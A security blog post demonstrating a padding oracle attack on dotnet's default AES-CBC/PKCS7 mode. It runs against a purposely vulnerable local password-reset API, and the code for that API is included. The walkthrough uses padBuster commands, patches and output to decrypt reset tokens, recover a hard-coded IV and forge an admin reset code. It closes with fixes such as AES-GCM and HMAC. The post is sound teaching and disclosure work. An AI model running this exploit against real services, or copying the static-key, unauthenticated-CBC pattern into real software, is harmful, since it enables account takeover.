Dotnet’s default AES mode is vulnerable to padding oracle attacks

May 18 2022

I’ve spent a while dwelling on how dotnet’s default Aes.Create() behavior is to use CBC mode with PKCS7 padding. This means that, by default, dotnet’s System.Security.Cryptography.AES is vulnerable to padding oracle attacks. These attacks are certainly nothing new, so let’s look at a practical example of an attack that simulates a recent real-life bug that came up during testing. We’ll explore some specifics of exploiting padding-oracle attacks against targets with hard-coded unknown IV values.

In this case, we’re going to look at a password reset function that used the default dotnet encryption mechanism to encrypt data sent to users in emails. I’ve included some sample code, so play along if you’d like. The aim of the game is to reset the admin user’s password, though we only have a password reset string for the low privilege testuser user.

Summary

Padding oracles are fairly well known, and padding oracle attacks against AES-CBC with PKCS7 are exceptionally well known. With that, some may find it surprising that dotnet’s (yes, even the new shiny dotnetcore) default behavior is to use CBC mode. Microsoft themselves recommend against this (https://docs.microsoft.com/en-us/dotnet/standard/security/vulnerabilities-cbc-mode), though the default encryption examples I found while googling didn’t really mention that. (https://docs.microsoft.com/en-us/dotnet/standard/security/encrypting-data and https://docs.microsoft.com/en-us/dotnet/api/system.security.cryptography.aes?view=net-6.0)

I noticed this while digging through dotnet internals a while ago and it’s been living in my head rent free ever since. I’m hoping this article will let me move on with my life.

I didn’t really need to do any of the dredging through dotnet, the following little program confirms it easily enough:

using System.Security.Cryptography;

using (Aes myAes = Aes.Create())
{
    Console.WriteLine("Mode {0}", myAes.Mode);
    Console.WriteLine("Padding {0}", myAes.Padding);
}

And the output, showing the default mode and cipher:

$ ./AESTest 
Mode CBC
Padding PKCS7

What’s a padding oracle?

Padding oracles have been explained at length, so I’m going to be brief here and include that-diagram-that-everyone-uses-to-explain-padding-oracles-dot-png. If you want to learn about these attacks, I suggest the following articles:

As promised, here is that diagram:

Basically, the attack works by messing with the IV or the previous blocks ciphertext, which is XORed with the plaintext for a block before being encrypted. For a given block during normal AES-CBC decryption, the ciphertext is decrypted, the resulting string XOR-ed with either the IV for the first block, or the ciphertext of the previous block to produce the plaintext. Then move onto the next block. For the last block, the padding is validated and removed.

Since the cipher is not authenticated, we can mess with a previous blocks ciphertext, or the IV if we control it, and see if we can get it to generate valid padding, then move onto the next byte. The oracle tells us whether we’ve found the right byte. Skipping over a whole bunch of complexity, this gives us a byte-by-byte brute force to recover plaintext or create ciphertext which decrypts to something we control. Our example is going to use the common anti-pattern of a hard-coded key and IV, which will cause some issues. More on this soon.

Our Example: Password Reset

Here is the example, based on a real-life application. The app used an unknown static key and IV to encrypt the password reset string. The key and IV is generated on application startup, so if you’re following along then your values below will look slightly different. The flow looks like this:

  • A user clicks ‘reset password’ and enters their username
  • The app encrypts a parameter string with a timestamp and user ID, then sends it to the user out-of-band
  • The user submits this string to a password reset API, along with their new password
  • The app decrypts the reset string, extracts the user ID, and resets the password

The goal is simple, mess with the reset code to exploit a padding oracle vulnerability and reset the password for the admin user. The toy code is available at the end of the article. The encryption and decryption routines were pulled from the Microsoft examples mentioned earlier.

Here is part of the vulnerable code:

    app.MapGet("/getresetcode", () => { 
                try{
                    if(users != null){
            var code = Convert.ToBase64String(EncryptStringToBytes_Aes("timestamp="+DateTime.Now.ToString()+"&username=testuser", Key, IV));
                        return Results.Text("/resetpassword?resetcode="+code);
                    } 
                    return Results.NotFound();
                } catch {
                    return Results.NotFound();
                }
            }).WithName("GetResetCode");
...yoink...
// thankyou https://docs.microsoft.com/en-us/dotnet/api/system.security.cryptography.aes?view=net-6.0
        private static byte[] EncryptStringToBytes_Aes(string plainText, byte[] Key, byte[] IV)
        {
            // Check arguments.
            if (plainText == null || plainText.Length <= 0)
                throw new ArgumentNullException("plainText");
            if (Key == null || Key.Length <= 0)
                throw new ArgumentNullException("Key");
            if (IV == null || IV.Length <= 0)
                throw new ArgumentNullException("IV");
            byte[] encrypted;

            // Create an Aes object
            // with the specified key and IV.
            using (Aes aesAlg = Aes.Create())
            {
                aesAlg.Key = Key;
                aesAlg.IV = IV;

                // Create an encryptor to perform the stream transform.
                ICryptoTransform encryptor = aesAlg.CreateEncryptor(aesAlg.Key, aesAlg.IV);

                // Create the streams used for encryption.
                using (MemoryStream msEncrypt = new MemoryStream())
                {
                    using (CryptoStream csEncrypt = new CryptoStream(msEncrypt, encryptor, CryptoStreamMode.Write))
                    {
                        using (StreamWriter swEncrypt = new StreamWriter(csEncrypt))
                        {
                            //Write all data to the stream.
                            swEncrypt.Write(plainText);
                        }
                        encrypted = msEncrypt.ToArray();
                    }
                }
            }

            // Return the encrypted bytes from the memory stream.
            return encrypted;
        }

Since dotnet has the vulnerable default, this is using AES-CBC and PKCS7. Now, we can go through the reset process, find a padding oracle, and start breaking the encryption.

First, we create a password reset link. The getresetcode endpoint will return a password reset link for the testuser user:

$ curl -i -k 'https://localhost:5001/getresetcode'  
HTTP/2 200 
content-type: text/plain; charset=utf-8
server: Kestrel
content-length: 113

/resetpassword?resetcode=aZ5khju4ltX1M0fBlYt9gJTkHzv4kEuTEJP78TwC1AwMXbKjwJWl9hPJNiTG7uxAqezW8ONDTqfFjipX9ZsEFw==

Now use this password reset code and log in as the test user:

$ curl -i -k -X POST 'https://localhost:5001/resetpassword?resetcode=aZ5khju4ltX1M0fBlYt9gJTkHzv4kEuTEJP78TwC1AwMXbKjwJWl9hPJNiTG7uxAqezW8ONDTqfFjipX9ZsEFw==' -d 'password=firebirds and energy weapons'
HTTP/2 200 
content-type: text/plain; charset=utf-8
server: Kestrel
content-length: 33

Reset password for user: testuser

And login:

curl -i -k -X POST 'https://localhost:5001/login' -d "username=testuser&password=firebirds and energy weapons"
HTTP/2 200 
content-type: text/plain; charset=utf-8
server: Kestrel
content-length: 17

Welcome, testuser

Fantastic. The process works. Lets mess with the base64 encoded string passed to resetpassword a little, changing the last w to an A:

curl -i -k -X POST 'https://localhostresetpassword?resetcode=aZ5khju4ltX1M0fBlYt9gJTkHzv4kEuTEJP78TwC1AwMXbKjwJWl9hPJNiTG7uxAqezW8ONDTqfFjipX9ZsEFA==' -d 'password=firebirds and energy weapons'
HTTP/2 500 
content-type: text/plain; charset=utf-8
server: Kestrel

System.Security.Cryptography.CryptographicException: Padding is invalid and cannot be removed.
   at Internal.Cryptography.UniversalCryptoDecryptor.GetPaddingLength(ReadOnlySpan`1 block)
...yoink...

Et voila. A padding oracle. This example is purposefully obvious, but any difference in response between a padding error and a general application error can be used as an oracle, including things like timing discrepancies as discussed in https://docs.microsoft.com/en-us/dotnet/standard/security/vulnerabilities-cbc-mode.

Now we can start to exploit this padding oracle. I’m going to use padBuster (https://github.com/AonCyberLabs/PadBuster) here and make a few tweaks as we go along. padBuster was first released in 2010. It’s an old dog with a couple very, very good tricks.

First, we need to chop out TLS verification, this can be done with the following patch:

diff --git a/padBuster.pl b/padBuster.pl
index d3977d2..ab31137 100644
--- a/padBuster.pl
+++ b/padBuster.pl
@@ -643,6 +643,9 @@ sub makeRequest {
                             timeout => 30,
                            requests_redirectable => [],
                             );
+
+  $lwp->ssl_opts(verify_hostname => 0);
+  $lwp->ssl_opts(SSL_verify_mode => 0x00);
  
   $req = new HTTP::Request $method => $url;

Next, we can feed padBuster the password reset link:

$ perl padBuster.pl 'https://localhost:5001/resetpassword?resetcode=aZ5khju4ltX1M0fBlYt9gJTkHzv4kEuTEJP78TwC1AwMXbKjwJWl9hPJNiTG7uxAqezW8ONDTqfFjipX9ZsEFw==' aZ5khju4ltX1M0fBlYt9gJTkHzv4kEuTEJP78TwC1AwMXbKjwJWl9hPJNiTG7uxAqezW8ONDTqfFjipX9ZsEFw== 16 -encoding 0 -noiv -post - -error "Padding is invalid" 

+-------------------------------------------+
| PadBuster - v0.3.3                        |
| Brian Holyfield - Gotham Digital Science  |
| [email protected]                      |
+-------------------------------------------+

INFO: The original request returned the following
[+] Status: 200
[+] Location: N/A
[+] Content Length: 33

INFO: Starting PadBuster Decrypt Mode
*** Starting Block 1 of 4 ***

[+] Success: (170/256) [Byte 16]
...yoink...

Block 1 Results:
[+] Cipher Text (HEX): 699e64863bb896d5f53347c1958b7d80
[+] Intermediate Bytes (HEX): 478d5ac27276501c878850517b7ced57
[+] Plain Text: G�Z�rvP��PQ{|�W

Use of uninitialized value $plainTextBytes in concatenation (.) or string at padBuster.pl line 361.
*** Starting Block 2 of 4 ***

[+] Success: (20/256) [Byte 16]
...yoink...

Block 2 Results:
[+] Cipher Text (HEX): 94e41f3bf8904b931093fbf13c02d40c
[+] Intermediate Bytes (HEX): 5bae56b41b89a7efc5017df3a7ab0ded
[+] Plain Text: 2022 11:02:22 pm

*** Starting Block 3 of 4 ***

[+] Success: (130/256) [Byte 16]
...yoink...

Block 3 Results:
[+] Cipher Text (HEX): 0c5db2a3c095a5f613c93624c6eeec40
[+] Intermediate Bytes (HEX): b2916c5e8afe2afe75ae8f944f76a17f
[+] Plain Text: &username=testus

*** Starting Block 4 of 4 ***

[+] Success: (177/256) [Byte 16]
...yoink...

Block 4 Results:
[+] Cipher Text (HEX): a9ecd6f0e3434ea7c58e2a57f59b0417
[+] Intermediate Bytes (HEX): 692fbcadce9babf81dc7382ac8e0e24e
[+] Plain Text: er

-------------------------------------------------------
** Finished ***

[+] Decrypted value (ASCII): G�Z�rvP��PQ{|�W2022 11:02:22 pm&username=testuser

[+] Decrypted value (HEX): 478D5AC27276501C878850517B7CED57323032322031313A30323A323220706D26757365726E616D653D74657374757365720E0E0E0E0E0E0E0E0E0E0E0E0E0E

[+] Decrypted value (Base64): R41awnJ2UByHiFBRe3ztVzIwMjIgMTE6MDI6MjIgcG0mdXNlcm5hbWU9dGVzdHVzZXIODg4ODg4ODg4ODg4ODg==

-------------------------------------------------------

Yay, we got some of the plaintext back, but the first block is garbage. The reason for this is we don’t know what the IV is, so padBuster is assuming the initial IV value is all nulls (it’s not) and the resulting plaintext for the first block makes no sense!

Regardless, we have what we need to exploit this bug. A bit of garbage data doesn’t make much of a difference in this case. Since padding oracles can also be used to encrypt data, we can make a reset link for the admin user:

perl padBuster.pl 'https://localhost:5001/resetpassword?resetcode=aZ5khju4ltX1M0fBlYt9gJTkHzv4kEuTEJP78TwC1AwMXbKjwJWl9hPJNiTG7uxAqezW8ONDTqfFjipX9ZsEFw==' aZ5khju4ltX1M0fBlYt9gJTkHzv4kEuTEJP78TwC1AwMXbKjwJWl9hPJNiTG7uxAqezW8ONDTqfFjipX9ZsEFw== 16 -encoding 0 -noiv -post - -error "Padding is invalid" -plaintext 'aaaaaaaaa&username=admin' 

+-------------------------------------------+
| PadBuster - v0.3.3                        |
| Brian Holyfield - Gotham Digital Science  |
| [email protected]                      |
+-------------------------------------------+

INFO: The original request returned the following
[+] Status: 200
[+] Location: N/A
[+] Content Length: 33

INFO: Starting PadBuster Encrypt Mode
[+] Number of Blocks: 2

[+] Success: (250/256) [Byte 16]
...yoink...

Block 2 Results:
[+] New Cipher Text (HEX): b8ea8fcc0290b91ce55520126a5acb0f
[+] Intermediate Bytes (HEX): d58fb2ad66fdd072ed5d281a6252c307

[+] Success: (56/256) [Byte 16]
...yoink...

Block 1 Results:
[+] New Cipher Text (HEX): 737da850967f576a93540ef1c61893a8
[+] Intermediate Bytes (HEX): 121cc931f71e360bf2727b82a36afdc9

-------------------------------------------------------
** Finished ***

[+] Encrypted value is: c32oUJZ%2FV2qTVA7xxhiTqLjqj8wCkLkc5VUgEmpayw8AAAAAAAAAAAAAAAAAAAAA

Finally, lets reset the admin users password:

curl -i -k -X POST 'https://localhost:5001/resetpassword?resetcode=c32oUJZ%2FV2qTVA7xxhiTqLjqj8wCkLkc5VUgEmpayw8AAAAAAAAAAAAAAAAAAAAA' -d 'password=ting tang walla walla bing bang'
HTTP/2 200 
content-type: text/plain; charset=utf-8
server: Kestrel
content-length: 30

Reset password for user: admin
curl -i -k -X POST 'https://localhost:5001/login' -d "username=admin&password=ting tang walla walla bing bang"
HTTP/2 200 
content-type: text/plain; charset=utf-8
server: Kestrel
content-length: 14

Welcome, admin

Success! But, if we check the console log on the app server we will see the trashy first block:

[+] got ciphertext: c32oUJZ/V2qTVA7xxhiTqLjqj8wCkLkc5VUgEmpayw8AAAAAAAAAAAAAAAAAAAAA
[+] got cleartext: 6uNo(��>��k��x�[aaaaaaaaa&username=admin
[.] admin

This server is happy to ignore the trash first block, but not all will so let’s deal with that next.

Retrieving a hard-coded IV - Chosen/Known Plaintext

When faced with a padding oracle sink against AES-CBC/PKCS7 with a constant, unknown IV, a known plaintext can be used to retrieve the IV value.

Often, IV’s are prepended to the ciphertext that is passed to the end user. I’ve come across the hardcoded-IV antipattern a few times and haven’t really found too much written about it in terms of padding oracle attacks (there are other issues with static IVs, maybe we will talk about that another time).

Remember, in CBC mode the plaintext is XORed with the IV before encryption, and for the first block in our example the IV is some hardcoded value that we don’t know. When we run through the padding oracle attack with a null IV, we get some seemingly garbage bytes returned. However, if we XOR these with the original plaintext, the resulting value will be the IV. Neat.

Let’s take a look at some examples below. In this case, the block 1 “plaintext” returned by padBuster:

Block 1 Results:
[+] Cipher Text (HEX): 699e64863bb896d5f53347c1958b7d80
[+] Intermediate Bytes (HEX): 478d5ac27276501c878850517b7ced57
[+] Plain Text: G�Z�rvP��PQ{|�W
...yoink...
-------------------------------------------------------
** Finished ***

[+] Decrypted value (ASCII): G�Z�rvP��PQ{|�W2022 11:02:22 pm&username=testuser

[+] Decrypted value (HEX): 478D5AC27276501C878850517B7CED57323032322031313A30323A323220706D26757365726E616D653D74657374757365720E0E0E0E0E0E0E0E0E0E0E0E0E0E

[+] Decrypted value (Base64): R41awnJ2UByHiFBRe3ztVzIwMjIgMTE6MDI6MjIgcG0mdXNlcm5hbWU9dGVzdHVzZXIODg4ODg4ODg4ODg4ODg==

The first sixteen bytes of the plaintext will be the timestamp value, in this particular case: timestamp=15/05/, or in hex 74696d657374616d703d31352f30352f, which we’re going to imagine we can guess or was leaked somewhere (a public git repo perhaps?). We can XOR this with the block 1 results above to get the hardcoded IV value:

478D5AC27276501C878850517B7CED57 ^ 74696D657374616D703D31352F30352F = 33E437A701023171F7B56164544CD878

We can stuff this value back into padBuster with this patch, then run the attack again:

--- a/padBuster.pl
+++ b/padBuster.pl
@@ -171,7 +171,8 @@ if ( (length($encryptedBytes) % $blockSize) > 0) {
 
 # If no IV, then append nulls as the IV (only if decrypting)
 if ($noIv && !$bruteForce && !$plainTextInput) {
-       $encryptedBytes = "\x00" x $blockSize . $encryptedBytes;
+       # $encryptedBytes = "\x00" x $blockSize . $encryptedBytes;
+       $encryptedBytes = "\x33\xE4\x37\xA7\x01\x02\x31\x71\xF7\xB5\x61\x64\x54\x4C\xD8\x78".$encryptedBytes
 }
perl padBuster.pl 'https://localhost:5001/resetpassword?resetcode=aZ5khju4ltX1M0fBlYt9gJTkHzv4kEuTEJP78TwC1AwMXbKjwJWl9hPJNiTG7uxAqezW8ONDTqfFjipX9ZsEFw==' aZ5khju4ltX1M0fBlYt9gJTkHzv4kEuTEJP78TwC1AwMXbKjwJWl9hPJNiTG7uxAqezW8ONDTqfFjipX9ZsEFw== 16 -encoding 0 -noiv -post - -error "Padding is invalid" 

+-------------------------------------------+
| PadBuster - v0.3.3                        |
| Brian Holyfield - Gotham Digital Science  |
| [email protected]                      |
+-------------------------------------------+

INFO: The original request returned the following
[+] Status: 200
[+] Location: N/A
[+] Content Length: 33

INFO: Starting PadBuster Decrypt Mode
*** Starting Block 1 of 4 ***

[+] Success: (170/256) [Byte 16]
...yoink...

Block 1 Results:
[+] Cipher Text (HEX): 699e64863bb896d5f53347c1958b7d80
[+] Intermediate Bytes (HEX): 478d5ac27276501c878850517b7ced57
[+] Plain Text: timestamp=15/05/

Use of uninitialized value $plainTextBytes in concatenation (.) or string at padBuster.pl line 362.
*** Starting Block 2 of 4 ***

[+] Success: (20/256) [Byte 16]
...yoink...

Block 2 Results:
[+] Cipher Text (HEX): 94e41f3bf8904b931093fbf13c02d40c
[+] Intermediate Bytes (HEX): 5bae56b41b89a7efc5017df3a7ab0ded
[+] Plain Text: 2022 11:02:22 pm

*** Starting Block 3 of 4 ***

[+] Success: (130/256) [Byte 16]
...yoink...

Block 3 Results:
[+] Cipher Text (HEX): 0c5db2a3c095a5f613c93624c6eeec40
[+] Intermediate Bytes (HEX): b2916c5e8afe2afe75ae8f944f76a17f
[+] Plain Text: &username=testus

*** Starting Block 4 of 4 ***

[+] Success: (177/256) [Byte 16]
...yoink...

Block 4 Results:
[+] Cipher Text (HEX): a9ecd6f0e3434ea7c58e2a57f59b0417
[+] Intermediate Bytes (HEX): 692fbcadce9babf81dc7382ac8e0e24e
[+] Plain Text: er

-------------------------------------------------------
** Finished ***

[+] Decrypted value (ASCII): timestamp=15/05/2022 11:02:22 pm&username=testuser

[+] Decrypted value (HEX): 74696D657374616D703D31352F30352F323032322031313A30323A323220706D26757365726E616D653D74657374757365720E0E0E0E0E0E0E0E0E0E0E0E0E0E

[+] Decrypted value (Base64): dGltZXN0YW1wPTE1LzA1LzIwMjIgMTE6MDI6MjIgcG0mdXNlcm5hbWU9dGVzdHVzZXIODg4ODg4ODg4ODg4ODg==

Woo! Decryption is now completely working. We can now use this padding oracle exploit for any other ciphertext that is encrypted using the same routines and get all the data back.

Another Example - An Encrypted JWT

This is particularly easy if the encrypted string is something that has a well defined first 16 bytes, such as a JWT. The sample code includes an API to encrypt arbitrary plaintexts if you’d like to play with this. Here is the example JWT:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

The first 16 bytes, which will become the first block, will likely be {"alg":"HS25, {"alg":"RS25 or something similar base64 encoded. Since the plaintext always starts with one of a few possibilities, we can figure out the static IV. Let’s run through the process with this example.

The encrypted value for the above JWT was:

/LjWAUyuzbgLmGc/iPDVDY/wupd0vw4ilDR0dhqpb3U4LJj3zzTqUFvyfq2cL87IGWP2I2hcOnYNHjqqiVMPQhSquD+zYdaupJW3OxT54aASQlUpv1BmgnfllPrl7D+taNjTf37NUaa3pkAyM0sjsda5YLDH0z5DmngvIaMgILkAWM3X2j1SWXEfesr40JuJddexgoHkl/a026DPqoD8DA==
perl padBuster.pl 'https://localhost:5001/resetpassword?resetcode=/LjWAUyuzbgLmGc/iPDVDY/wupd0vw4ilDR0dhqpb3U4LJj3zzTqUFvyfq2cL87IGWP2I2hcOnYNHjqqiVMPQhSquD+zYdaupJW3OxT54aASQlUpv1BmgnfllPrl7D+taNjTf37NUaa3pkAyM0sjsda5YLDH0z5DmngvIaMgILkAWM3X2j1SWXEfesr40JuJddexgoHkl/a026DPqoD8DA==' /LjWAUyuzbgLmGc/iPDVDY/wupd0vw4ilDR0dhqpb3U4LJj3zzTqUFvyfq2cL87IGWP2I2hcOnYNHjqqiVMPQhSquD+zYdaupJW3OxT54aASQlUpv1BmgnfllPrl7D+taNjTf37NUaa3pkAyM0sjsda5YLDH0z5DmngvIaMgILkAWM3X2j1SWXEfesr40JuJddexgoHkl/a026DPqoD8DA== 16 -encoding 0 -noiv -post - -error "Padding is invalid" 

+-------------------------------------------+
| PadBuster - v0.3.3                        |
| Brian Holyfield - Gotham Digital Science  |
| [email protected]                      |
+-------------------------------------------+

INFO: The original request returned the following
[+] Status: 500
[+] Location: N/A
[+] Content Length: 1154

INFO: Starting PadBuster Decrypt Mode
*** Starting Block 1 of 10 ***

[+] Success: (184/256) [Byte 16]
...yoink...
Block 1 Results:
[+] Cipher Text (HEX): fcb8d6014caecdb80b98673f88f0d50d
[+] Intermediate Bytes (HEX): 569d7dcf63455218b8dc2b2d01369149
[+] Plain Text: V�}�cER��+-6�I

Use of uninitialized value $plainTextBytes in concatenation (.) or string at padBuster.pl line 362.
*** Starting Block 2 of 10 ***

[+] Success: (172/256) [Byte 16]
...yoink...
-------------------------------------------------------
** Finished ***

[+] Decrypted value (ASCII): V�}�cER��+-6�INiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

[+] Decrypted value (HEX): 569D7DCF63455218B8DC2B2D013691494E694973496E523563434936496B705856434A392E65794A7A645749694F6949784D6A4D304E5459334F446B7749697769626D46745A534936496B7076614734675247396C4969776961574630496A6F784E5445324D6A4D354D44497966512E53666C4B7877524A534D654B4B46325154346677704D654A663336504F6B36794A565F61645173737735630505050505

We can convert the first 16 bytes of the JWT token, which will be {"alg":"HS25 base64’d, then XOR that against the first block returned when attacked with a null IV:

65794a68624763694f694a49557a4931 ^ 569d7dcf63455218b8dc2b2d01369149 = 33e437a701023171f7b56164544cd878

Hey presto, we end up with the same IV value as before. With something like a JWT token or XML, something that has a defined structure or a limited set of possible values, guessing the first 16 bytes becomes doable.

Fixes

What’s the solution for this problem? Don’t use CBC mode ciphers. I’d recommend cutting over to AES-GCM, detailed here: https://docs.microsoft.com/en-us/dotnet/standard/security/cross-platform-cryptography#authenticated-encryption

If for whatever reason you cannot cut away from CBC mode, then padding oracle attacks can be mitigated by ensuring generic errors are being returned by the app. This approach is fraught with danger since any other metric such as timing discrepancies may reveal the padding oracle and the vulnerability will persist.

Another option would be to add message authentication, like an HMAC, to prevent ciphertext tampering, if you can make that change then you can probably AES-GCM it up instead.

Toy Code

Here is the toy code, running on dotnet core 6. You can run dotnet new webapi -o ExampleApi then copy this over into Program.cs:

using System.Text;
using System.Web;
using System.Security.Cryptography;
using Microsoft.AspNetCore.Mvc;

namespace ExampleApi
{
    
    public class User
    {
        public string? Username { get; set; }
        public string? Password { get; set; }
    }

    static class Program
    {
        static private User[] users = new User[2];

        static void Main(string[] args)
        {
            var builder = WebApplication.CreateBuilder(args);

            // Add services to the container.
            // Learn more about configuring Swagger/OpenAPI at https://aka.ms/aspnetcore/swashbuckle
            builder.Services.AddEndpointsApiExplorer();
            builder.Services.AddSwaggerGen();

            var app = builder.Build();

            var myAes = Aes.Create();
            var Key = myAes.Key; // randomly generated key and iv on Aes.Create()
            var IV = myAes.IV;

            // Configure the HTTP request pipeline.
            if (app.Environment.IsDevelopment())
            {
                app.UseSwagger();
                app.UseSwaggerUI();
            }

            app.UseHttpsRedirection();

            app.MapGet("/getresetcode", () => { 
                try{
                    if(users != null){
                        var code = Convert.ToBase64String(EncryptStringToBytes_Aes("timestamp="+DateTime.Now.ToString()+"&username=testuser", Key, IV));
                        return Results.Text("/resetpassword?resetcode="+code);
                    } 
                    return Results.NotFound();
                } catch {
                    return Results.NotFound();
                }
            }).WithName("GetResetCode");

            app.MapPost("/resetpassword", (string resetCode, HttpRequest request) => { 
                if(users != null){
                    Console.WriteLine("[+] got ciphertext: {0}", resetCode);
                    string id = DecryptStringFromBytes_Aes(Convert.FromBase64String(resetCode), Key, IV);
                    Console.WriteLine("[+] got cleartext: {0}", id);
                    
                    var query = HttpUtility.ParseQueryString(id);
                    if (query["username"] != null){
                        Console.WriteLine("[.] {0}", query["username"]);
                        request.Form.TryGetValue("password", out var password);
                        if(password == ""){
                            return Results.Text("ERROR: please set a password");
                        }

                        foreach (User u in users){
                            if(u.Username == query["username"]){
                                u.Password = password;
                                return Results.Text("Reset password for user: " + u.Username);
                            }
                        }
                    }

                    return Results.Text("");
                }
                return Results.StatusCode(StatusCodes.Status500InternalServerError);
             }).WithName("ResetPassword");
            
            app.MapPost("/login", (HttpRequest request) => 
            {
                request.Form.TryGetValue("username", out var username);
                request.Form.TryGetValue("password", out var password);
                if(users != null){
                    foreach (User u in users){
                        if(u.Username == username && u.Password == password){
                            return Results.Text("Welcome, " + u.Username);
                        }
                    }
                    return Results.Text("Login Failed");
                }
                return Results.StatusCode(StatusCodes.Status500InternalServerError);
            }
            ).WithName("login");

            app.MapGet("/cryptutil", (string plaintext) => {
                return Results.Text(Convert.ToBase64String(EncryptStringToBytes_Aes(plaintext, Key, IV)));
            });

            // add users
            users[0] = new User { Username = "admin", Password = GetString(32)};
            users[1] = new User { Username = "testuser", Password = GetString(32)};

            app.Run();
        }
     
        // thankyou https://docs.microsoft.com/en-us/dotnet/api/system.security.cryptography.aes?view=net-6.0
        private static byte[] EncryptStringToBytes_Aes(string plainText, byte[] Key, byte[] IV)
        {
            // Check arguments.
            if (plainText == null || plainText.Length <= 0)
                throw new ArgumentNullException("plainText");
            if (Key == null || Key.Length <= 0)
                throw new ArgumentNullException("Key");
            if (IV == null || IV.Length <= 0)
                throw new ArgumentNullException("IV");
            byte[] encrypted;

            // Create an Aes object
            // with the specified key and IV.
            using (Aes aesAlg = Aes.Create())
            {
                aesAlg.Key = Key;
                aesAlg.IV = IV;

                // Create an encryptor to perform the stream transform.
                ICryptoTransform encryptor = aesAlg.CreateEncryptor(aesAlg.Key, aesAlg.IV);

                // Create the streams used for encryption.
                using (MemoryStream msEncrypt = new MemoryStream())
                {
                    using (CryptoStream csEncrypt = new CryptoStream(msEncrypt, encryptor, CryptoStreamMode.Write))
                    {
                        using (StreamWriter swEncrypt = new StreamWriter(csEncrypt))
                        {
                            //Write all data to the stream.
                            swEncrypt.Write(plainText);
                        }
                        encrypted = msEncrypt.ToArray();
                    }
                }
            }

            // Return the encrypted bytes from the memory stream.
            return encrypted;
        }

        private static string DecryptStringFromBytes_Aes(byte[] cipherText, byte[] Key, byte[] IV)
        {
            // Check arguments.
            if (cipherText == null || cipherText.Length <= 0)
                throw new ArgumentNullException("cipherText");
            if (Key == null || Key.Length <= 0)
                throw new ArgumentNullException("Key");
            if (IV == null || IV.Length <= 0)
                throw new ArgumentNullException("IV");

            // Declare the string used to hold
            // the decrypted text.
            string plaintext = "";

            // Create an Aes object
            // with the specified key and IV.
            using (Aes aesAlg = Aes.Create())
            {
                aesAlg.Key = Key;
                aesAlg.IV = IV;

                // Create a decryptor to perform the stream transform.
                ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV);

                // Create the streams used for decryption.
                using (MemoryStream msDecrypt = new MemoryStream(cipherText))
                {
                    using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, decryptor, CryptoStreamMode.Read))
                    {
                        using (StreamReader srDecrypt = new StreamReader(csDecrypt))
                        {

                            // Read the decrypted bytes from the decrypting stream
                            // and place them in a string.
                            plaintext = srDecrypt.ReadToEnd();
                        }
                    }
                }
            }

            return plaintext;
        }

        public static string GetString(int len)
        {
            var chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
            var secret = new StringBuilder();

            while (len-- > 0)
            {
                secret.Append(chars[RandomNumberGenerator.GetInt32(chars.Length)]);
            }

            return secret.ToString();
        }
    }
}


Follow us on LinkedIn